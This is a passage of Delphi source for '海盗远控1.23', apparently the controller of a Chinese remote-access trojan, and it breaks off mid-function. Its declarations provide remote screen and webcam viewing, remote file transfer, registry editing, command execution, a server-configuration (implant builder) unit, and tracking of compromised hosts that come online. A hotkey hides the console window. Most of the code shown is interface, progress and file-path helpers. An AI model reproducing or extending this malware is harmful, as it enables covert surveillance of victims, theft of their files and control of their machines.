main.pas

海盗远控1.23源代码

    procedure CmdButton5Click(Sender: TObject);
    procedure CmdButton6Click(Sender: TObject);
    procedure CmdButton7Click(Sender: TObject);
    procedure CtrlF121Click(Sender: TObject);
    procedure N32Click(Sender: TObject);
    procedure ToolButton3Click(Sender: TObject);
    procedure ToolButton2Click(Sender: TObject);
    procedure CmdButton8Click(Sender: TObject);
    procedure CmdButton9Click(Sender: TObject);
    procedure CmdButton10Click(Sender: TObject);
    procedure CmdButton11Click(Sender: TObject);
    procedure CmdButton12Click(Sender: TObject);
    procedure CmdButton13Click(Sender: TObject);
    procedure CmdButton22Click(Sender: TObject);
    procedure CmdButton23Click(Sender: TObject);
    procedure CmdButton24Click(Sender: TObject);
    procedure CmdButton26Click(Sender: TObject);
    procedure CmdButton25Click(Sender: TObject);
    procedure CmdButton29Click(Sender: TObject);
    procedure CmdButton27Click(Sender: TObject);
    procedure CmdButton28Click(Sender: TObject);
    procedure CmdButton30Click(Sender: TObject);
    procedure CmdButton31Click(Sender: TObject);
    procedure CmdButton34Click(Sender: TObject);
    procedure CmdButton35Click(Sender: TObject);
    procedure ListView5Click(Sender: TObject);
    procedure TreeView3Change(Sender: TObject; Node: TTreeNode);
    procedure TreeView3Expanding(Sender: TObject; Node: TTreeNode;
      var AllowExpansion: Boolean);
    procedure TreeView3MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure N1Click(Sender: TObject);
    procedure N34Click(Sender: TObject);
    procedure N11Click(Sender: TObject);
    procedure DWORD1Click(Sender: TObject);
    procedure N14Click(Sender: TObject);
    procedure N25Click(Sender: TObject);
    procedure N26Click(Sender: TObject);
    procedure uItem7Click(Sender: TObject);
    procedure MenuItem8Click(Sender: TObject);
    procedure RadioBox8Click(Sender: TObject);
    procedure GjButton40Click(Sender: TObject);
    procedure CqButton41Click(Sender: TObject);
    procedure Button44Click(Sender: TObject);
    procedure Button33Click(Sender: TObject);
    procedure N65Click(Sender: TObject);
    procedure IP1Click(Sender: TObject);
    procedure N68Click(Sender: TObject);
    procedure N69Click(Sender: TObject);
    procedure N72Click(Sender: TObject);
    procedure N49Click(Sender: TObject);
    procedure exe1Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure CmdButton50Click(Sender: TObject);
    procedure CmdButton49Click(Sender: TObject);
    procedure ListView4ColumnClick(Sender: TObject; Column: TListColumn);
    procedure ListView4Compare(Sender: TObject; Item1, Item2: TListItem;
      Data: Integer; var Compare: Integer);
    procedure ListView5ColumnClick(Sender: TObject; Column: TListColumn);
    procedure ListView5Compare(Sender: TObject; Item1, Item2: TListItem;
      Data: Integer; var Compare: Integer);
    procedure ZjButton43Click(Sender: TObject);
       //-----------------------------------------------------
  private
    { Private declarations }
    QQWry: TQQWry;              //ip数据库类
    procedure LoadINIFile;{读取设置文件}

    procedure GetComputer;

    function DiskInDrive(Drive: Char): Boolean;

    function GetIPtoAdder(Ip: string): string; {从IP地址得到所在地理位置}

    procedure GetDri(Chu: string);
    procedure GetFileList(FileList: string);
    function Serverfilepic(FileExt: string): integer;
    function DoCopyDir(sDirName: string; sToDirName: string): Boolean;
    procedure Mycopyfile(sourse: string; dest: string);
    function DoRemoveDir(mDirName: string): Boolean;
    function GetDosOutput(var Command: string): string;
    procedure GetSubTreeNode(TheTV: TspSkinTreeView; TheNode: TTreeNode;
      TheLV: TspSkinListView; TheRoot, TheKey: string);
    function tranhexstr(s: string): string;
    procedure Deleteregkey(RpathTemp: string);
    procedure DoValueModify(TheRoot, TheKey, TheValues: string; HexStr: string);
    procedure DoValueDelete(TheRoot, TheKey, TheValues: string);
    procedure DoValueRename(TheRoot, TheKey, TheValues: string);
  public
    { Public declarations }
    Myinifile: Tinifile; {定义一个inifile}
    INIFileName: string; {储存inifile的文件名}
    
    isSound: Boolean; {是否语音提示}
    
    OnSLine, OffSLine, UpIPok, FileSDown, FileSup: string;//上线，下线。。。语音

    AutoSxport: integer; {本地端口}

    SortedColumn: Integer;

    Qviwepath, DownRDir: string;

    nowdirect, CurDir, CurFile: string;

    UpFileNames,UpFileFolder,UpDir:string;

    ComputerorServer: boolean; {是我的电脑还是服务器}
    ComputerDir: string; {我的电脑目录路径}
    ComputerFile: string; {选中我的电脑的文件}
    ComputerFuzhi, ComputerZhanTei: string; {复制粘贴}

    FuZhi, ZhanTei, OldFilename: string; {复制粘贴}

    nowregpath: string;

    Videobmp:Tbitmap;
    
    Descending: Boolean;
    RsltStream: TMemoryStream;

    DonwHeader: integer;
    AlreadyReadLen, ReadFileLen: integer;

    FDoubleBuffer: TBitmap;

    FilesConTrol,ScreenCThread,ScrControl,AcmOutThread : TIdPeerThread;
    VideoThread:TIdPeerThread;

        //信息提示函数
    procedure AddLineStr(LineStr: string; IsColor: integer; isBold: Bool);
    //自动上线发送命令
    procedure ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
    function SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
    procedure GetDrivernum(var DiskList: TStringList);
    function PCfilepic(FileExt: string): integer;  {得到本机文件扩展名的图标}
  end;

var
  ViKing: TViKing;
  ISClientClose:Boolean;  //判断客户端下线
  MyFirstBmp: TMemoryStream; //远程屏幕图像缓冲区

  OnlineServer: array of Tonlineinf;

  OnlineCount: integer; //上线主机数

  LianlineSoc: integer;

  nowfilenode, nowregnode: Ttreenode;

  UpDown: array[0..2] of Boolean;

  LianlineThread: TIdPeerThread; {服务器套接字句柄}

  PrTime: dword;
  nRead: longint;

  DownFilsAThread : TIdPeerThread;//文件传输线程
implementation

uses Changyong,Splash, UpIp, ShowPic, AboutUnit, CongigServerUnit,My_StreamManage,
  UpDownFrom, VideoUnit, RegEditUnit, RegHexEdit, ExeToolUnit,AttribUnit, SysInf,DlgshowUnit;

{$R *.dfm}

//热键
procedure TViKing.HotKeySpy1HotKeys(Sender: TObject; HotKeyIndex: Word);
begin
  case HotKeyIndex of
    0: begin //Ctrl+F12
        if ViKing.Visible then
        begin
          ViKing.Visible := False;
          ShowWindow(Application.Handle, SW_HIDE);
        end else
        begin
          ViKing.Show;
          ViKing.Visible := True;
        end;
      end;
    1: begin //Esc
        Timer1.Enabled := False;
        HotKeySpy1.HotKeys[1].Enabled := False;
        ViKing.Enabled := True;
        ListView1.Items.Clear;
        Animate1.Enabled := False;
        Animate1.Visible := False;
        TreeView1.FullCollapse;
      end;
  end;
end;

procedure TViKing.IdTCPServer1WorkBegin(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
  try
    nRead := 0;
    prTime := 0;
    Gauge2.Progress := 0;
    Gauge2.MaxValue := AlreadyReadLen + AWorkCountMax;
  except
  end;
end;

procedure TViKing.IdTCPServer1WorkEnd(Sender: TObject;
  AWorkMode: TWorkMode);
begin
  try
    AddLineStr(Translate('ZhuanTai109','一个下载文件完成！'), 1, False);
    if isSound then
    begin
      try
        sndplaysound('', snd_async);
        sndplaysound(Pchar(FileSDown), snd_async);
      except
      end;
    end;
    Application.ProcessMessages;
  except
  end;
end;

function TimeSecToFormat(const Size: Int64): string;
var
  S, Er, i: Integer;
begin
  if Size <= 60 then
    Result := InttoStr(Size) + ' Sec';
  begin
    S := Size div 60;
    if S < 60 then
    begin
      Er := Size mod 60;
      Result := InttoStr(S) + ' Min ' + InttoStr(er) + ' Sec';
    end else begin
      S := S div 60;
      Er := Size mod 3600;
      if Er >= 60 then
      begin
        i := Er div 60;
        if i = 0 then inc(s);
        s := s + i;
        Er := Er mod 60;
      end;
      Result := InttoStr(S) + ' Hour ' + InttoStr(er) + ' Min';
    end;
  end;
end;

procedure TViKing.IdTCPServer1Work(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCount: Integer);
var
  NTime: dword;
  Speed: double;
  Shijian: integer;
  Temp: string;
begin
  try
    Gauge2.Progress := AlreadyReadLen + AWorkCount;
    nTime := GetTickCount;
    nRead := AWorkCount - nRead;
    if nTime - prTime > 0 then
    begin
      Speed := (nRead / (nTime - prTime)) / 1024 * 1000;
      Shijian := Trunc((Gauge2.MaxValue - Gauge2.Progress) / Speed / 3600);
      Temp := Translate('ZhuanTai110','剩余时间：') + TimeSecToFormat(Shijian);
      Label21.Caption := format('%f kb/s ', [Speed]) + Temp;
      Label21.Update;
    end;
    prTime := nTime;
    nRead := AWorkCount;
  except
  end;
end;

procedure TViKing.AutoOnlineWorkBegin(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
  try
    Gauge1.Value := 0;
    Gauge1.MaxValue := AWorkCountMax;
    Gauge1.ProgressText := 'Size：' + Format('%1.0n', [AWorkCountMax + 0.0]) + ' By';
  except
  end;
end;

procedure TViKing.AutoOnlineWorkEnd(Sender: TObject;
  AWorkMode: TWorkMode);
begin
  Gauge1.Value := 0;
end;

procedure TViKing.AutoOnlineWork(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCount: Integer);
begin
  try
    Gauge1.Value := AWorkCount;
    Application.ProcessMessages;
  except
  end;
end;


procedure TViKing.ShowPicWorkBegin(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
  try
    ShowPm.Gauge1.Progress := 0;
    ShowPm.Gauge1.MaxValue := AWorkCountMax;
  except
  end;
end;

procedure TViKing.ShowPicWorkEnd(Sender: TObject;
  AWorkMode: TWorkMode);
begin
  try
   ShowPm.Gauge1.Progress := ShowPm.Gauge1.MaxValue;
  except
  end;
end;


procedure TViKing.ShowPicWork(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCount: Integer);
begin
  try
    ShowPm.Gauge1.Progress := AWorkCount;
  except
  end;
end;



function CenterStr(Src: string; Before, After: string): string;
var
  Pos1, Pos2: WORD;
begin
  Pos1 := Pos(Before, Src);
  Pos2 := Pos(After, Src);
  if (Pos1 = 0) or (Pos2 = 0) then
  begin
    Result := '';
    Exit;
  end;
  Pos1 := Pos1 + Length(Before);
  if Pos2 - Pos1 = 0 then
  begin
    Result := '';
    Exit;
  end;
  Result := Copy(Src, Pos1, Pos2 - Pos1);
end;

function Temppath: string;
var tmpdir: array[0..255] of char;
begin
  GetTempPath(255, @tmpdir);
  Result := StrPas(Tmpdir);
end;

function IsValidFileName(const FileName: string): boolean;
begin
  result := True; ;
  if (pos('\', Filename) > 0) or (pos('/', Filename) > 0) or (pos(':', Filename) > 0)
    or (pos('*', Filename) > 0) or (pos('?', Filename) > 0) or (pos('"', Filename) > 0)
    or (pos('<', Filename) > 0) or (pos('>', Filename) > 0) or (pos('|', Filename) > 0) then
  begin
    result := False;
  end;
end;

function GetFileSize(const FileName: string): integer;
var f: TFileStream;
begin
  f := TFileStream.Create(FileName, fmOpenRead or fmShareDenyNone);
  Result := f.Size;
  F.Free;
end;

//检测本机声卡
function Soundkarte: Boolean;
begin
  Result := WaveOutGetNumDevs > 0;
end;

{从全路径中分离路径,有'\'}
function GetFilepath(FileName: string): string;
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, 1, Length(FileName) - Contador));
end;

{从路径中分离文件名}
function GetFileName(FileName: string): string;
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, Length(FileName) - Contador + 1, Length(FileName)));
end;

//获取本机IP并设置标题栏
procedure GetLocalIP;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
  Temp: string;
begin